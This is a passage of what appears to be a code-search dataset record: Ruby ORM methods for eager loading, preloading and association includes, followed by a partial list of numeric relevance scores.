"def load!(includes, options = {})\r\n case includes\r\n when Array\r\n includes.each { |association|\r\n load! association, :limit => options[:limit]\r\n }\r\n when Hash\r\n includes.each { |association, subassociation|\r\n associated = load! association, :include => subassociation,\r\n :limit => options[:limit]\r\n }\r\n when String, Symbol\r\n name = self.class.associations(version)[includes = includes.to_sym]\r\n return unless name\r\n macro = self.class.model.reflect_on_association(name).macro\r\n\r\n @loaded[includes] ||= if [:belongs_to, :has_one].include?(macro)\r\n associated = send(includes).target\r\n if options[:include]\r\n associated.load! options[:include], :limit => options[:limit]\r\n end\r\n associated\r\n else\r\n configuration = {}\r\n configuration[:limit] = options[:limit] || MAXIMUM_LIMIT\r\n configuration[:include] = options[:include] if options[:include]\r\n collection = send(includes).scoped(configuration).to_collection\r\n\r\n if collection.pagination\r\n collection.pagination.path = attributes[includes] || includes\r\n end\r\n\r\n if options[:include]\r\n collection.each { |record|\r\n record.load! options[:include], :limit => options[:limit]\r\n }\r\n end\r\n\r\n collection\r\n end\r\n end\r\n end",
"def eager_graph(*associations)\n eager_graph_with_options(associations)\n end",
"def post_load(all_records)\n eager_graph_build_associations(all_records) if @opts[:eager_graph]\n eager_load(all_records) if @opts[:eager] && (row_proc || @opts[:eager_graph])\n super\n end",
"def eager_load_results(eo, &block)\n rows = eo[:rows]\n initialize_association_cache(rows) unless eo[:initialize_rows] == false\n if eo[:id_map]\n ids = eo[:id_map].keys\n return ids if ids.empty?\n end\n strategy = eager_limit_strategy\n cascade = eo[:associations]\n eager_limit = nil\n\n if eo[:eager_block] || eo[:loader] == false\n ds = eager_loading_dataset(eo)\n\n strategy = ds.opts[:eager_limit_strategy] || strategy\n\n eager_limit =\n if el = ds.opts[:eager_limit]\n raise Error, \"The :eager_limit dataset option is not supported for associations returning a single record\" unless returns_array?\n strategy ||= true_eager_graph_limit_strategy\n if el.is_a?(Array)\n el\n else\n [el, nil]\n end\n else\n limit_and_offset\n end\n\n strategy = true_eager_graph_limit_strategy if strategy == :union\n # Correlated subqueries are not supported for regular eager loading\n strategy = :ruby if strategy == :correlated_subquery\n strategy = nil if strategy == :ruby && assign_singular?\n objects = apply_eager_limit_strategy(ds, strategy, eager_limit).all\n elsif strategy == :union\n objects = []\n ds = associated_dataset\n loader = union_eager_loader\n joiner = \" UNION ALL \"\n ids.each_slice(subqueries_per_union).each do |slice|\n objects.concat(ds.with_sql(slice.map{|k| loader.sql(*k)}.join(joiner)).to_a)\n end\n ds = ds.eager(cascade) if cascade\n ds.send(:post_load, objects)\n else\n loader = placeholder_eager_loader\n loader = loader.with_dataset{|dataset| dataset.eager(cascade)} if cascade\n objects = loader.all(ids)\n end\n\n objects.each(&block)\n if strategy == :ruby\n apply_ruby_eager_limit_strategy(rows, eager_limit || limit_and_offset)\n end\n end",
"def eager_load(a, eager_assoc=@opts[:eager])\n return if a.empty?\n # Key is foreign/primary key name symbol\n # Value is hash with keys being foreign/primary key values (generally integers)\n # and values being an array of current model objects with that\n # specific foreign/primary key\n key_hash = {}\n # Reflections for all associations to eager load\n reflections = eager_assoc.keys.map{|assoc| model.association_reflection(assoc) || (raise Sequel::UndefinedAssociation, \"Model: #{self}, Association: #{assoc}\")}\n \n # Populate the key_hash entry for each association being eagerly loaded\n reflections.each do |r|\n if key = r.eager_loader_key\n # key_hash for this key has already been populated,\n # skip populating again so that duplicate values\n # aren't added.\n unless id_map = key_hash[key]\n id_map = key_hash[key] = Hash.new{|h,k| h[k] = []}\n\n # Supporting both single (Symbol) and composite (Array) keys.\n a.each do |rec|\n case key\n when Array\n if (k = key.map{|k2| rec.get_column_value(k2)}) && k.all?\n id_map[k] << rec\n end\n when Symbol\n if k = rec.get_column_value(key)\n id_map[k] << rec\n end\n else\n raise Error, \"unhandled eager_loader_key #{key.inspect} for association #{r[:name]}\"\n end\n end\n end\n else\n id_map = nil\n end\n \n loader = r[:eager_loader]\n associations = eager_assoc[r[:name]]\n if associations.respond_to?(:call)\n eager_block = associations\n associations = {}\n elsif associations.is_a?(Hash) && associations.length == 1 && (pr_assoc = associations.to_a.first) && pr_assoc.first.respond_to?(:call)\n eager_block, associations = pr_assoc\n end\n loader.call(:key_hash=>key_hash, :rows=>a, :associations=>associations, :self=>self, :eager_block=>eager_block, :id_map=>id_map)\n a.each{|object| object.send(:run_association_callbacks, r, :after_load, object.associations[r[:name]])} unless r[:after_load].empty?\n end \n end",
"def api_include(params)\n # Which columns must we select?\n select = []\n # Which associations must we eager-load?\n eagers = []\n \n model.default_attrs.each do |attr|\n select += model.attr_columns[attr.to_s]\n eagers += model.attr_associations[attr.to_s]\n end\n \n if params['include']\n select += MF::API::IncludeNode.build_select_list(params['include'], model)\n eagers += MF::API::IncludeNode.build_eager_graph(params['include'], model)\n end\n \n # Don't eager load more than once. :)\n eagers.uniq!\n \n # Also select columns which associations may need to operate.\n eagers.each do |eager|\n # Add the primary key on this table needed to access everything.\n if eager.is_a?(Hash)\n ref = model.association_reflection(eager.keys.first.to_sym)\n else\n ref = model.association_reflection(eager)\n end\n \n case ref[:type]\n when :one_to_many\n select << ref[:primary_key] if ref[:primary_key]\n when :many_to_one\n select << ref[:key] if ref[:key]\n when :many_to_many\n select << ref[:left_primary_key] if ref[:left_primary_key]\n when :many_through_many\n select << ref[:left_primary_key] if ref[:left_primary_key]\n end\n end\n\n # Ensure we always select critical columns.\n select += model.key_columns\n \n # Don't select more than once\n select.uniq!\n \n # Modify a copy of this dataset.\n dataset = self.clone\n\n # Select columns\n if dataset.opts[:select] and\n dataset.opts[:select].size == 1 and \n dataset.opts[:select].first.kind_of? Sequel::SQL::ColumnAll\n # This dataset is selecting ALL elements; drop the select and\n # replace it with our explicit selection.\n dataset.opts[:select] = select\n else\n # The dataset may have no select() columns -or- a number of explicit\n # selections; we will merge our own.\n dataset = dataset.select_more *select\n end\n\n # Eager loading\n dataset = dataset.eager(*eagers) unless eagers.empty?\n\n # Ensure we use the first table source as the qualifier for all\n # unqualified identifiers.\n dataset = dataset.qualify_to_first_source\n \n dataset\n end",
"def apply_lazyloading\n @query = @query.includes(:user).includes(theme: :moderator)\n end",
"def eager_load(docs)\n criteria.inclusions.reject! do |metadata|\n metadata.eager_load(eager_loaded_ids(docs, metadata)) if !docs.empty?\n end\n self.eager_loaded = true\n end",
"def uses_eager_load?\n return opts[:eager_load] unless opts[:eager_load].nil?\n [:eager, :eager_only].include?(model.cti_subclass_load)\n end",
"def eager_load(a)\n return if a.empty?\n # Current model class\n model = @opts[:models][nil]\n # All associations to eager load\n eager_assoc = @opts[:eager]\n # Key is foreign/primary key name symbol\n # Value is hash with keys being foreign/primary key values (generally integers)\n # and values being an array of current model objects with that\n # specific foreign/primary key\n key_hash = {}\n # array of attribute_values keys to monitor\n keys = []\n # Reflections for all associations to eager load\n reflections = eager_assoc.keys.collect{|assoc| model.association_reflection(assoc)}\n\n # Populate keys to monitor\n reflections.each do |reflection|\n key = reflection[:type] == :many_to_one ? reflection[:key] : model.primary_key\n next if key_hash[key]\n key_hash[key] = {}\n keys << key\n end\n \n # Associate each object with every key being monitored\n a.each do |r|\n keys.each do |key|\n ((key_hash[key][r[key]] ||= []) << r) if r[key]\n end\n end\n \n # Iterate through eager associations and assign instance variables\n # for the association for all model objects\n reflections.each do |reflection|\n assoc_class = model.send(:associated_class, reflection)\n assoc_name = reflection[:name]\n # Proc for setting cascaded eager loading\n cascade = Proc.new do |d|\n if c = eager_assoc[assoc_name]\n d = d.eager(c)\n end\n if c = reflection[:eager]\n d = d.eager(c)\n end\n d\n end\n case rtype = reflection[:type]\n when :many_to_one\n key = reflection[:key]\n h = key_hash[key]\n keys = h.keys\n # No records have the foreign key set for this association, so skip it\n next unless keys.length > 0\n ds = assoc_class.filter(assoc_class.primary_key=>keys)\n ds = cascade.call(ds)\n ds.all do |assoc_object|\n h[assoc_object.pk].each do |object|\n object.instance_variable_set(:\"@#{assoc_name}\", assoc_object)\n end\n end\n when :one_to_many, :many_to_many\n if rtype == :one_to_many\n fkey = key = reflection[:key]\n h = key_hash[model.primary_key]\n reciprocal = model.send(:reciprocal_association, reflection)\n ds = assoc_class.filter(key=>h.keys)\n else\n assoc_table = assoc_class.table_name\n left = reflection[:left_key]\n right = reflection[:right_key]\n right_pk = (reflection[:right_primary_key] || :\"#{assoc_table}__#{assoc_class.primary_key}\")\n join_table = reflection[:join_table]\n fkey = (opts[:left_key_alias] ||= :\"x_foreign_key_x\")\n table_selection = (opts[:select] ||= assoc_table.all)\n key_selection = (opts[:left_key_select] ||= :\"#{join_table}__#{left}___#{fkey}\")\n h = key_hash[model.primary_key]\n ds = assoc_class.select(table_selection, key_selection).inner_join(join_table, right=>right_pk, left=>h.keys)\n end\n if order = reflection[:order]\n ds = ds.order(order)\n end\n ds = cascade.call(ds)\n ivar = :\"@#{assoc_name}\"\n h.values.each do |object_array|\n object_array.each do |object|\n object.instance_variable_set(ivar, [])\n end\n end\n ds.all do |assoc_object|\n fk = if rtype == :many_to_many\n assoc_object.values.delete(fkey)\n else\n assoc_object[fkey]\n end\n h[fk].each do |object|\n object.instance_variable_get(ivar) << assoc_object\n assoc_object.instance_variable_set(reciprocal, object) if reciprocal\n end\n end\n end\n end\n end",
"def default_eager_loader(eo)\n h = eo[:id_map]\n assign_singular = assign_singular?\n delete_rn = delete_row_number_column\n uses_lcks = self[:uses_left_composite_keys]\n left_key_alias = self[:left_key_alias]\n name = self[:name]\n\n self[:model].eager_load_results(self, eo) do |assoc_record|\n assoc_record.values.delete(delete_rn) if delete_rn\n hash_key = if uses_lcks\n left_key_alias.map{|k| assoc_record.values.delete(k)}\n else\n assoc_record.values.delete(left_key_alias)\n end\n next unless objects = h[hash_key]\n if assign_singular\n objects.each do |object| \n object.associations[name] ||= assoc_record\n end\n else\n objects.each do |object|\n object.associations[name].push(assoc_record)\n end\n end\n end\n end",
"def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array(include_associations)\n\n for association in associations\n records = case @record.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @record.send(association).to_a\n when :has_one, :belongs_to\n @record.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end",
"def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array(include_associations)\n\n for association in associations\n records = case @record.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @record.send(association).to_a\n when :has_one, :belongs_to\n @record.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end",
"def _apply_association_options(opts, ds)\n unless ds.kind_of?(AssociationDatasetMethods)\n ds = opts.apply_dataset_changes(ds)\n end\n ds = ds.clone(:model_object => self)\n ds = ds.eager_graph(opts[:eager_graph]) if opts[:eager_graph] && opts.eager_graph_lazy_dataset?\n ds = instance_exec(ds, &opts[:block]) if opts[:block]\n ds\n end",
"def eager_includes(include_referenced: true, vm_path: [])\n association_specs = {}\n\n return nil if vm_path.count(self) > 2\n\n child_path = vm_path + [self]\n _members.each do |assoc_name, association_data|\n next unless association_data.is_a?(AssociationData)\n next if association_data.external?\n\n case\n when association_data.through?\n viewmodel = association_data.direct_viewmodel\n children = viewmodel.eager_includes(include_referenced: include_referenced, vm_path: child_path)\n\n when !include_referenced && association_data.referenced?\n children = nil # Load up to the root viewmodel, but no further\n\n when association_data.polymorphic?\n children_by_klass = {}\n association_data.viewmodel_classes.each do |vm_class|\n klass = vm_class.model_class.name\n children_by_klass[klass] = vm_class.eager_includes(include_referenced: include_referenced, vm_path: child_path)\n end\n children = DeepPreloader::PolymorphicSpec.new(children_by_klass)\n\n else\n viewmodel = association_data.viewmodel_class\n children = viewmodel.eager_includes(include_referenced: include_referenced, vm_path: child_path)\n end\n\n association_specs[association_data.direct_reflection.name.to_s] = children\n end\n DeepPreloader::Spec.new(association_specs)\n end",
"def includes(*associations)\n # Normalize association list to strict nested hash.\n normalize = ->(list) {\n if list.is_a? Array\n list.map(&normalize).reduce(:merge)\n elsif list.is_a? Symbol\n { list => {} }\n elsif list.is_a? Hash\n hash = {}\n list.each do |key, value|\n hash[key] = normalize.(value)\n end\n hash\n end\n }\n associations = normalize.(associations)\n\n current_scope = @scope.includes(associations)\n\n add_conditions = ->(associations, scope) {\n associations.each do |association, nested|\n reflection = scope.reflect_on_association(association)\n if reflection && !reflection.options[:polymorphic]\n associated_klass = reflection.klass\n\n if associated_klass.respond_to? :restrict\n nested_scope = associated_klass.restrictions(@context).request_scope(:fetch)\n\n where_values = nested_scope.where_values\n if where_values.any?\n current_scope = current_scope.where(*where_values)\n end\n\n add_conditions.(nested, associated_klass)\n end\n end\n end\n }\n\n unless Heimdallr.skip_eager_condition_injection\n add_conditions.(associations, current_scope)\n end\n\n options = @options.merge(eager_loaded:\n @options[:eager_loaded].merge(associations))\n\n Proxy::Collection.new(@context, current_scope, options)\n end",
"def applying_deprecated_query_args( args ) # :nodoc:\n rel = self.all\n rel = rel.includes(args[:include]) if args[:include]\n rel = rel.where(args[:conditions]) if args[:conditions]\n rel = rel.order(args[:order]) if args[:order]\n rel = rel.limit(args[:limit]) if args[:limit]\n rel\n end",
"def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array.wrap(include_associations)\n\n for association in associations\n records = case @serializable.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @serializable.send(association).to_a\n when :has_one, :belongs_to\n @serializable.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end",
"def eager_loading_use_associated_key?\n true\n end",
"def before_eager_load(&block); end",
"def eager_load=(_arg0); end",
"def eager_load=(_arg0); end",
"def eager_load=(_arg0); end",
"def eager_load_paths=(_arg0); end",
"def eager_graph_dataset(opts, eager_options)\n ds = opts.associated_class.dataset\n if cb = eager_options[:callback]\n ds = cb.call(ds)\n end\n ds\n end",
"def server_side_config_options\n [:eager_loading, :klass]\n end",
"def server_side_config_options\n [:eager_loading, :klass]\n end",
"def preload_included_fragments(resources, records, serializer, options)\n return if resources.empty?\n\n include_directives = options[:include_directives]\n return unless include_directives\n\n array_includes = include_directives.include_directives[:include_related]\n resources_array = array_includes.select { |res| _model_class.find_resource(res) }\n\n # Exclude non active-record includes\n array_includes.except!(*resources_array.keys)\n\n # NOTE: calling monkeypatched json api method that fixes the bug\n # Read note above\n original_preload_included_fragments(resources, records, serializer, options)\n # return non active-record includes\n array_includes.merge!(resources_array)\n end",
"def add_solr_eager_loaded_association association_name\n name = association_name.to_s\n unless self.solr_eager_loaded_associations.include?(name)\n self.solr_eager_loaded_associations << name\n end\n end",
"def preload_associations(associations, preload_options = {})\n self.class.preload_associations(self, associations, preload_options)\n end",
"def as_json(options={})\n options ||= {}\n options = options.symbolize_keys\n includes = {}\n\n if options[:include]\n # control if a symbol or string is passed\n options[:include] = [options[:include]] if options[:include].is_a?(String)\n options[:include] = [options[:include]] unless options[:include].is_a?(Enumerable)\n\n options[:include].reject! do |assoc, opts|\n # if the included assoc does't have options, take the default association as_json, as defined in its model\n unless opts.is_a?(Hash)\n includes[assoc] = self.send(assoc).as_json\n true\n end\n end\n end\n super(options).update(includes).camelize_keys\n end",
"def apply_associated_eager(type, request, ds)\n columns_for(type, request).each do |col|\n if association?(col)\n if model = associated_model_class(col)\n eager = model.eager_for(:association, request) || model.eager_graph_for(:association, request)\n ds = ds.eager(col=>eager)\n else\n ds = ds.eager(col)\n end\n end\n end\n ds\n end",
"def includes(options)\n @includes = options\n end",
"def include_options\n { include: parsed_associations || [], methods: parsed_methods || [] }\n end",
"def filter_by_associations_add_conditions?\n self[:conditions] || self[:eager_block] || self[:limit]\n end",
"def apply_finder_options(options)\n relation = clone\n return relation if options.nil?\n\n finders = options.dup\n finders[:select] = finders.delete(:fields)\n conditions = finders.slice!(*VALID_FIND_OPTIONS)\n\n finders.delete_if { |key, value| value.nil? && key != :limit }\n\n ([:joins, :select, :group, :order, :having, :limit, :offset, :from, :lock, :readonly] & finders.keys).each do |finder|\n relation = relation.send(finder, finders[finder])\n end\n\n relation = relation.where(conditions) if conditions.any?\n relation = relation.where(finders[:conditions]) if options.has_key?(:conditions)\n relation = relation.includes(finders[:include]) if options.has_key?(:include)\n relation = relation.extending(finders[:extend]) if options.has_key?(:extend)\n\n relation\n end",
"def options_with_escape\n @options.reject { |k,v| k == :eager_loaded }\n end",
"def with_eager_loading(document)\n selecting do\n return nil unless document\n doc = Factory.from_db(klass, document, criteria.object_id)\n eager_load([ doc ]) if eager_loadable?\n doc\n end\n end",
"def eager_loading_use_associated_key?\n false\n end",
"def load_associated_objects(opts, reload=false)\n name = opts[:name]\n if @associations.include?(name) and !reload\n @associations[name]\n else\n objs = if opts.returns_array?\n send(opts.dataset_method).all\n else\n if !opts[:key]\n send(opts.dataset_method).all.first\n elsif send(opts[:key])\n send(opts.dataset_method).first\n end\n end\n run_association_callbacks(opts, :after_load, objs)\n # Only one_to_many associations should set the reciprocal object\n objs.each{|o| add_reciprocal_object(opts, o)} if opts.set_reciprocal_to_self?\n @associations[name] = objs\n end\n end",
"def references_eager_loaded_tables?(options)\n joined_tables = joined_tables(options)\n include_eager_order?(options, nil, joined_tables) || include_eager_conditions?(options, nil, joined_tables)\n end",
"def associated_eager_dataset\n cached_fetch(:associated_eager_dataset) do\n ds = associated_dataset.unlimited\n if block = self[:eager_block]\n ds = block.call(ds)\n end\n ds\n end\n end",
"def preload(records, associations, given_preload_scope = nil)\n super records, associations, chronomodel_scope(given_preload_scope)\n end",
"def preload(records, associations, given_preload_scope = nil)\n if options[:as_of_time]\n preload_scope = given_preload_scope || NULL_RELATION.dup\n preload_scope.as_of_time!(options[:as_of_time])\n end\n\n super records, associations, preload_scope\n end",
"def add_association_keys_to_select_sub(klass, options)\n select_table_fields = class_primary_key_fields(klass)\n \n if options[:include].class == Symbol || options[:include].class == String\n select_table_fields.concat association_keys_for(klass, options[:include].to_sym)\n elsif options[:include].class == Array\n options[:include].each do |s|\n if s.class == Hash # {:user => :favorites} or {:user => {:favorites => [:books, :movies]}}\n select_table_fields.concat association_keys_for(klass, s.keys[0].to_sym)\n \n # this :include has a nested :include, so continue recursively\n if r = klass.reflections[s.keys[0].to_sym]\n nested_add_options = options.dup\n nested_add_options[:include] = s.values[0]\n select_table_fields.concat add_association_keys_to_select_sub(r.klass, nested_add_options)\n end\n elsif s.class == Symbol || s.class == String\n select_table_fields.concat association_keys_for(klass, s.to_sym)\n end\n end\n elsif options[:include].class == Hash\n select_table_fields.concat association_keys_for(klass, options[:include].keys[0].to_sym)\n \n # this :include has a nested :include, so continue recursively\n if r = klass.reflections[options[:include].keys[0].to_sym]\n nested_add_options = options.dup\n nested_add_options[:include] = options[:include].values[0]\n select_table_fields.concat add_association_keys_to_select_sub(r.klass, nested_add_options)\n end\n end\n \n select_table_fields.uniq\n end",
"def eager_graph_build_associations(hashes)\n hashes.replace(EagerGraphLoader.new(self).load(hashes))\n end",
"def deep_preload_chain(attribute, collection: nil)\n return if (collection || records).empty?\n preload_chain(attribute, collection: collection)\n deep_preload_chain(attribute, collection: (collection || records).select(&attribute.to_sym).map(&attribute.to_sym))\n self\n end",
"def query_scope\n record_class.public_send(include_strategy, included_associations)\n end",
"def find_every_with_default_includes(options)\r\n add_default_includes!(options)\r\n find_every_without_default_includes(options)\r\n end",
"def to_find_include\n @conditions.to_find_include\n end",
"def rake_eager_load; end",
"def rake_eager_load; end",
"def included_associations\n @included_associations ||= begin\n self.options[:include_associations] ||= []\n self.options[:include_associations].collect(&:to_sym)\n end\n end",
"def filter_by_associations_add_conditions?\n super || self[:order] || self[:eager_limit_strategy] || self[:filter_limit_strategy]\n end",
"def eager_graph_associations(ds, model, ta, requirements, *associations)\n return ds if associations.empty?\n associations.flatten.each do |association|\n ds = case association\n when Symbol, SQL::AliasedExpression\n ds.eager_graph_association(ds, model, ta, requirements, eager_graph_check_association(model, association))\n when Hash\n association.each do |assoc, assoc_assocs|\n ds = ds.eager_graph_association(ds, model, ta, requirements, eager_graph_check_association(model, assoc), assoc_assocs)\n end\n ds\n else\n raise(Sequel::Error, 'Associations must be in the form of a symbol or hash')\n end\n end\n ds\n end",
"def _load_associated_objects(opts, dynamic_opts={})\n if opts.can_have_associated_objects?(self) && opts[:type] == :many_to_one && opts.associated_class.respond_to?(:cache_get_pk)\n _load_associated_object(opts, dynamic_opts)\n else\n super\n end\n end",
"def full_preload(docs, inclusions, polymorphic_inclusions, nested_inclusions)\n preload(inclusions, docs)\n\n polymorphic_inclusions.each do |metadata|\n preload_polymorphic(metadata, docs)\n end\n\n preload_nested(nested_inclusions, docs)\n end",
"def union_eager_loader\n cached_fetch(:union_eager_loader) do\n Sequel::Dataset::PlaceholderLiteralizer.loader(associated_dataset) do |pl, ds|\n ds = self[:eager_block].call(ds) if self[:eager_block]\n keys = predicate_keys\n ds = ds.where(keys.map{pl.arg}.zip(keys))\n if eager_loading_use_associated_key?\n ds = ds.select_append(*associated_key_array)\n end\n ds.from_self\n end\n end\n end",
"def eager_load(object, ns)\n if object.kind_of?(Hash)\n ns.merge!(object.symbolize_keys)\n elsif object.respond_to?(:attributes)\n ns.merge!(object.attributes.symbolize_keys)\n else\n object.instance_variables.each do |var|\n ns[var.gsub(/^@/, '').to_sym] = object.instance_variable_get(var)\n end\n end\n end",
"def fetch_with_attributes(attrs, options = {})\n track_changed_attributes do\n attrs.each do |key, value|\n if respond_to?(:\"fetch_#{key}\")\n self.send(:\"fetch_#{key}\", value)\n elsif has_association?(key) && (value.is_a?(Hash) || value.is_a?(Array))\n fetch_association_with_attributes(key.to_sym, value, save: options[:save_associations])\n elsif respond_to?(:\"#{key}=\")\n self.send(:\"#{key}=\", value)\n # TODO: self.info[:\"#{key}\"] = value is much faster, maybe we could use it\n end\n end\n end\n self\n end",
"def eager_load(source, query = nil)\n target_maps = Hash.new { |h,k| h[k] = [] }\n\n collection_query = query_for(source, query)\n\n # TODO: create an object that wraps this logic, and when the first\n # kicker is fired, then it'll load up the collection, and then\n # populate all the other methods\n\n collection = source.model.all(collection_query).each do |target|\n target_maps[target_key.get(target)] << target\n end\n\n Array(source).each do |source|\n key = target_key.typecast(source_key.get(source))\n eager_load_targets(source, target_maps[key], query)\n end\n\n collection\n end",
"def find_with_ferret(q, options = {}, find_options = {})\n options[:lazy] = true\n super\n end",
"def lazy\n raise Error, \"lazy loading disabled\" if model.cti_subclass_load == :eager_only\n clone(:eager_load => false)\n end",
"def eager_graph_association(ds, model, ta, requirements, r, *associations)\n if r.is_a?(SQL::AliasedExpression)\n alias_base = r.alias\n r = r.expression\n else\n alias_base = r[:graph_alias_base]\n end\n assoc_table_alias = ds.unused_table_alias(alias_base)\n loader = r[:eager_grapher]\n if !associations.empty?\n if associations.first.respond_to?(:call)\n callback = associations.first\n associations = {}\n elsif associations.length == 1 && (assocs = associations.first).is_a?(Hash) && assocs.length == 1 && (pr_assoc = assocs.to_a.first) && pr_assoc.first.respond_to?(:call)\n callback, assoc = pr_assoc\n associations = assoc.is_a?(Array) ? assoc : [assoc]\n end\n end\n local_opts = ds.opts[:eager_graph][:local]\n limit_strategy = r.eager_graph_limit_strategy(local_opts[:limit_strategy])\n\n if r[:conditions] && !Sequel.condition_specifier?(r[:conditions]) && !r[:orig_opts].has_key?(:graph_conditions) && !r[:orig_opts].has_key?(:graph_only_conditions) && !r.has_key?(:graph_block)\n Sequel::Deprecation.deprecate(\"Ignoring :conditions for #{r[:model]} #{r[:name]} association during eager_graph/association_join, consider specifying :graph_block\") unless r[:ignore_conditions_warning]\n end\n\n ds = loader.call(:self=>ds, :table_alias=>assoc_table_alias, :implicit_qualifier=>(ta == ds.opts[:eager_graph][:master]) ? first_source : qualifier_from_alias_symbol(ta, first_source), :callback=>callback, :join_type=>local_opts[:join_type], :join_only=>local_opts[:join_only], :limit_strategy=>limit_strategy, :from_self_alias=>ds.opts[:eager_graph][:master])\n if r[:order_eager_graph] && (order = r.fetch(:graph_order, r[:order]))\n ds = ds.order_append(*qualified_expression(order, assoc_table_alias))\n end\n eager_graph = ds.opts[:eager_graph]\n eager_graph[:requirements][assoc_table_alias] = requirements.dup\n eager_graph[:reflections][assoc_table_alias] = r\n if limit_strategy == :ruby\n eager_graph[:limits][assoc_table_alias] = r.limit_and_offset \n end\n eager_graph[:cartesian_product_number] += r[:cartesian_product_number] || 2\n ds = ds.eager_graph_associations(ds, r.associated_class, assoc_table_alias, requirements + [assoc_table_alias], *associations) unless associations.empty?\n ds\n end",
"def includes\r\n return nil unless @joins and not @joins.empty?\r\n includes = @joins.collect{|j| j.includes}\r\n end",
"def filter_by_associations_limit_strategy\n super if self[:order] || offset || self[:eager_limit_strategy] || self[:filter_limit_strategy]\n end",
"def assoc_options\n # Wait to implement this in Phase IVa. Modify `belongs_to`, too.\n @assoc_options ||= {}\n @assoc_options\n end",
"def legacy_options\n {\n :conditions => options[:where],\n :include => options[:includes],\n :limit => options[:limit],\n :order => options[:order],\n :offset => options[:offset],\n :select => options[:select],\n :group => options[:group],\n }.delete_blanks\n end",
"def query_options\n # todo: support more options?\n options = {}\n options.merge!({:limit => limit_value.to_json}) if limit_value\n options.merge!({:skip => @options[:skip].to_json}) if @options[:skip]\n options.merge!({:reversed => reversed?.to_json}) if reversed?\n options.merge!({:order => @options[:order]}) if @options[:order]\n options.merge!({:cursor => @options[:cursor]}) if @options[:cursor]\n options\n end",
"def eager_load_all\n Registry.loaders.each(&:eager_load)\n end",
"def debug_sql\n if eager_loading?\n including = (eager_load_values + includes_values).uniq\n join_dependency = JoinDependency.new(@klass, including, [])\n construct_relation_for_association_find(join_dependency).to_sql\n else\n arel.to_sql\n end\n end",
"def include_eager_conditions?(options)\n # look in both sets of conditions\n conditions = [scope(:find, :conditions), options[:conditions]].inject([]) do |all, cond|\n case cond\n when nil then all\n when Array then all << cond.first\n else all << cond\n end\n end\n return false unless conditions.any?\n conditions.join(' ').scan(/([\\.\\w]+)\\.[\\[\"]?\\w+[\\]\"]?/).flatten.any? do |condition_table_name|\n condition_table_name != table_name\n end\n end",
"def deep_preload_reference_chain(**reference_attribs)\n reference_attribs.each do |t, a|\n deep_preload_chain(a, collection: records.map { |r| r.public_send(t.to_sym) })\n end\n self\n end",
"def eager_graph_build_associations(rows)\n objects = super\n\n if eager_data = @opts[:eager_graph_eager]\n eager_data.each do |deps, assocs|\n current = objects\n\n last_class, *deps = deps\n deps.each do |dep, is_multiple|\n current_assocs = current.map(&:associations)\n\n if is_multiple\n current = current_assocs.flat_map{|a| a[dep]}\n else\n current = current_assocs.map{|a| a[dep]}\n current.compact!\n end\n\n current.uniq!(&:object_id)\n end\n\n last_class.dataset.send(:eager_load, current, assocs)\n end\n end\n\n objects\n end",
"def preload\n presenter.preload(resolved_associations_map.flat_map {|k,v| v[:associations]})\n end",
"def preload_reference_chain(**reference_attribs)\n reference_attribs.each do |t, a|\n preload_chain(a, collection: records.map { |r| r.public_send(t.to_sym) })\n end\n self\n end",
"def debug_sql\n if eager_loading?\n including = (@eager_load_values + @includes_values).uniq\n join_dependency = ActiveRecord::Associations::ClassMethods::JoinDependency.new(@klass, including, nil)\n construct_relation_for_association_find(join_dependency).to_sql\n else\n arel.to_sql\n end\n end",
"def eager_load_libraries(arg = nil)\n set_or_return(\n :eager_load_libraries,\n arg,\n kind_of: [ Array, String, TrueClass, FalseClass ]\n )\n end",
"def preload_conditions_columns\n ActiveRecord::Associations::Preloader.new.preload(conditions, :column)\n end",
"def options\n @options ||= { include: %i[reviews] }\n end",
"def eager_loadable?\n !eager_loaded && !criteria.inclusions.empty?\n end",
"def add_default_includes!(options)\r\n return if options[:include] or default_includes.blank?\r\n options[:include] = default_includes\r\n end",
"def collection_serialization_options\n {\n :except => [:site_id, :node_type, :position],\n :include => {\n :fields => {\n :except => [:variant_id, :position],\n :methods => [:classification, :options]\n }\n }\n }\n end",
"def eagerly_apply_sideload?(sideload)\n # TODO: Maybe handle this in graphiti-rails\n if defined?(::Rails) && (app = ::Rails.application)\n app.config.eager_load ? false : true\n else\n sideload.resource_class_loaded?\n end\n end"
] |
[
"0.7316349",
"0.71250415",
"0.7011839",
"0.689377",
"0.689377",
"0.689377",
"0.684639",
"0.6749361",
"0.66854",
"0.6651473",
"0.6651473",
"0.6651473",
"0.6651473",
"0.66439027",
"0.6615689",
"0.6588866",
"0.6545853",
"0.64361507",
"0.64246935",
"0.63189435",
"0.63061595",
"0.6253098",
"0.62496525",
"0.62216043",
"0.6125788",
"0.61237043",
"0.6086709",
"0.5997339",
"0.5997339",
"0.5968517",
"0.5950391",
"0.59182584",
"0.5914636",
"0.5880435",
"0.5875339",
"0.583885",
"0.58341557",
"0.58341557",
"0.58341557",
"0.5829439",
"0.58230233",
"0.5820353",
"0.5820353",
"0.5815603",
"0.58137465",
"0.58100855",
"0.5806223",
"0.580141",
"0.57922924",
"0.5792193",
"0.57684696",
"0.57363856",
"0.5734661",
"0.57099295",
"0.570483",
"0.56992096",
"0.56668884",
"0.56629586",
"0.5621616",
"0.56105745",
"0.56080425",
"0.5600829",
